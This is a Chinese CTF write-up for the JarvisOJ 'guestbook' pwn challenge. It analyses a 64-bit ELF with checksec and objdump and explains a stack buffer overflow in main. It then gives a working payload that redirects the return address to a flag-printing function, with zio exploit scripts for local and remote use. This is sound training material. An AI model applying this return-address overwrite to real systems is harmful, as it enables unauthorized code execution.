简介 :
项目地址 :
pwn题目及 writeup 汇总
题目说明 :
Do you have something to tell me?
地址 :
nc pwn.jarvisoj.com 9876
文件 :
guestbook.d3d5869bd6fb04dd35b29c67426c0f05
原理分析 :
拿到程序 , 首先通过 file
命令查看文件类型
guestbook:
ELF 64-bit LSB executable,
x86-64,
version 1 (SYSV),
dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=7429502fc855237f3f8eeceb262ddcf6b2c2854e,
not stripped
Linux 的 64 位 elf 文件
然后使用 checksec
来检查该二进制文件的安全性 :
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/sun/pwnme/lessons/jarvisoj/1/guestbook'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found # 栈保护未开启
NX: NX enabled # 栈代码不可执行
PIE: No PIE
我们来通过 objdump -t
来查看符号表
./guestbook: file format elf64-x86-64
SYMBOL TABLE:
0000000000400200 l d .interp 0000000000000000 .interp
000000000040021c l d .note.ABI-tag 0000000000000000 .note.ABI-tag
000000000040023c l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id
0000000000400260 l d .gnu.hash 0000000000000000 .gnu.hash
0000000000400280 l d .dynsym 0000000000000000 .dynsym
0000000000400328 l d .dynstr 0000000000000000 .dynstr
0000000000400378 l d .gnu.version 0000000000000000 .gnu.version
0000000000400388 l d .gnu.version_r 0000000000000000 .gnu.version_r
00000000004003a8 l d .rela.dyn 0000000000000000 .rela.dyn
00000000004003c0 l d .rela.plt 0000000000000000 .rela.plt
0000000000400450 l d .init 0000000000000000 .init
0000000000400470 l d .plt 0000000000000000 .plt
00000000004004e0 l d .text 0000000000000000 .text
0000000000400704 l d .fini 0000000000000000 .fini
0000000000400710 l d .rodata 0000000000000000 .rodata
0000000000400768 l d .eh_frame_hdr 0000000000000000 .eh_frame_hdr
00000000004007b0 l d .eh_frame 0000000000000000 .eh_frame
00000000006008d8 l d .init_array 0000000000000000 .init_array
00000000006008e0 l d .fini_array 0000000000000000 .fini_array
00000000006008e8 l d .jcr 0000000000000000 .jcr
00000000006008f0 l d .dynamic 0000000000000000 .dynamic
0000000000600ac0 l d .got 0000000000000000 .got
0000000000600ac8 l d .got.plt 0000000000000000 .got.plt
0000000000600b10 l d .data 0000000000000000 .data
0000000000600b20 l d .bss 0000000000000000 .bss
0000000000000000 l d .comment 0000000000000000 .comment
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
00000000006008e8 l O .jcr 0000000000000000 __JCR_LIST__
0000000000400550 l F .text 0000000000000000 deregister_tm_clones
0000000000400590 l F .text 0000000000000000 register_tm_clones
00000000004005d0 l F .text 0000000000000000 __do_global_dtors_aux
0000000000600b20 l O .bss 0000000000000001 completed.6661
00000000006008e0 l O .fini_array 0000000000000000 __do_global_dtors_aux_fini_array_entry
00000000004005f0 l F .text 0000000000000000 frame_dummy
00000000006008d8 l O .init_array 0000000000000000 __frame_dummy_init_array_entry
0000000000000000 l df *ABS* 0000000000000000 pwn100.c
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
00000000004008d0 l O .eh_frame 0000000000000000 __FRAME_END__
00000000006008e8 l O .jcr 0000000000000000 __JCR_END__
0000000000000000 l df *ABS* 0000000000000000
00000000006008e0 l .init_array 0000000000000000 __init_array_end
00000000006008f0 l O .dynamic 0000000000000000 _DYNAMIC
00000000006008d8 l .init_array 0000000000000000 __init_array_start
0000000000600ac8 l O .got.plt 0000000000000000 _GLOBAL_OFFSET_TABLE_
0000000000400700 g F .text 0000000000000002 __libc_csu_fini
0000000000000000 w *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000600b10 w .data 0000000000000000 data_start
0000000000000000 F *UND* 0000000000000000 write@@GLIBC_2.2.5
0000000000600b20 g .data 0000000000000000 _edata
0000000000400704 g F .fini 0000000000000000 _fini
0000000000000000 F *UND* 0000000000000000 fgetc@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 read@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 __libc_start_main@@GLIBC_2.2.5
0000000000600b10 g .data 0000000000000000 __data_start
0000000000000000 w *UND* 0000000000000000 __gmon_start__
0000000000600b18 g O .data 0000000000000000 .hidden __dso_handle
0000000000400710 g O .rodata 0000000000000004 _IO_stdin_used
0000000000400690 g F .text 0000000000000065 __libc_csu_init
0000000000600b28 g .bss 0000000000000000 _end
0000000000400526 g F .text 0000000000000000 _start
0000000000600b20 g .bss 0000000000000000 __bss_start
00000000004004e0 g F .text 0000000000000046 main
0000000000000000 F *UND* 0000000000000000 fopen@@GLIBC_2.2.5
0000000000000000 w *UND* 0000000000000000 _Jv_RegisterClasses
0000000000400670 g F .text 000000000000001e readmessage
0000000000600b20 g O .data 0000000000000000 .hidden __TMC_END__
0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000400450 g F .init 0000000000000000 _init
0000000000400620 g F .text 000000000000004a good_game
注意到最后面的 good_game
函数比较可疑
我们这里为了简洁起见 , 直接在物理机(Windows)中使用 ida
来反编译这个程序
有点意思了 , 我们看到
good_game
函数的功能是 : 打开 flag.txt 这个文件 , 并将文件内容写到标准输出流中
但是这个函数在主函数中并没有被调用 , 因此我们需要通过主函数来修改程序的执行流程来达到执行
good_game
的目的
main 函数中调用了 read 函数 , 显然存在缓冲区溢出漏洞
我们可以向缓冲区中输入大于 buffer 长度的数据 , 这样多余的数据就会溢出 , 并覆盖栈上的一些数据
我们知道在栈上还保存了 main 函数的返回地址
因此我们只需要将 main 的返回地址修改为 good_game 的地址
这样当 main 执行完毕 , 返回的时候 , 程序指针就会跳转到 good_game 进行执行
这样我们就可以拿到 flag
我们来看看 main 函数的栈帧 :
可以看到 , 用于缓冲用户输入的字符数组距离 main
的返回地址有 0x88 个字节
因此我们需要输入 0x88 (136) 个字节的垃圾数据 , 然后我们还需要输入 good_game 的地址 , 这样程序返回的时候就会跳转到 good_game 去执行
我们可以通过 ida 来查看 good_game 的地址 :
地址是 : 0x400620 , 需要转换成小端序的形式 , 可以利用 python 的 zio 库的 l64 这个函数来进行转换 , 或者直接反过来 :
也就是 : \x20\x06\x40\x00\x00\x00\x00\x00 (64位需要 8 字节来表示地址)
这样我们的 payload 也就是 :
python -c 'print "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"'
构造好了 payload , 我们就可以使用 python 的 zio 库 (或者 pwntools 库) 来进行漏洞的利用了
给出一个很简陋的利用代码
import zio
payload = "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"
Io = zio.zio("./guestbook")
Io.write(payload)
Io.interact()
对了 , 我们要执行 good_game 这个函数 , 这个函数需要读取一个 flag.txt 这个文件 , 因此为了我们在本地能看到效果 , 先创建一个 flag.txt 的文件 , 如果我们向程序注入 payload
然后打印出了 flag.txt 的内容 , 就可以说明本地利用成功
OMG , 成功了 , 快 pwn 掉服务器
import zio
payload = "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"
Io = zio.zio(("pwn.jarvisoj.com", 9876))
Io.write(payload)
Io.interact()
利用脚本 :
#!/usr/bin/env python
# encoding:utf-8
import sys
import zio
def getPayload():
target = zio.l64(0x400620)
payload = "A" * 128 + "B" * 8 + target
return payload
def showHelp():
print "Usage : "
print " python exploit.py [local|remote]"
def main():
if len(sys.argv) != 2:
showHelp()
exit(1)
if sys.argv[1] == "local":
Io = zio.zio("./guestbook")
elif sys.argv[1] == "remote":
Io = zio.zio(("pwn.jarvisoj.com", 9876))
else:
showHelp()
exit(2)
Io.write(getPayload())
Io.interact()
if __name__ == "__main__":
main()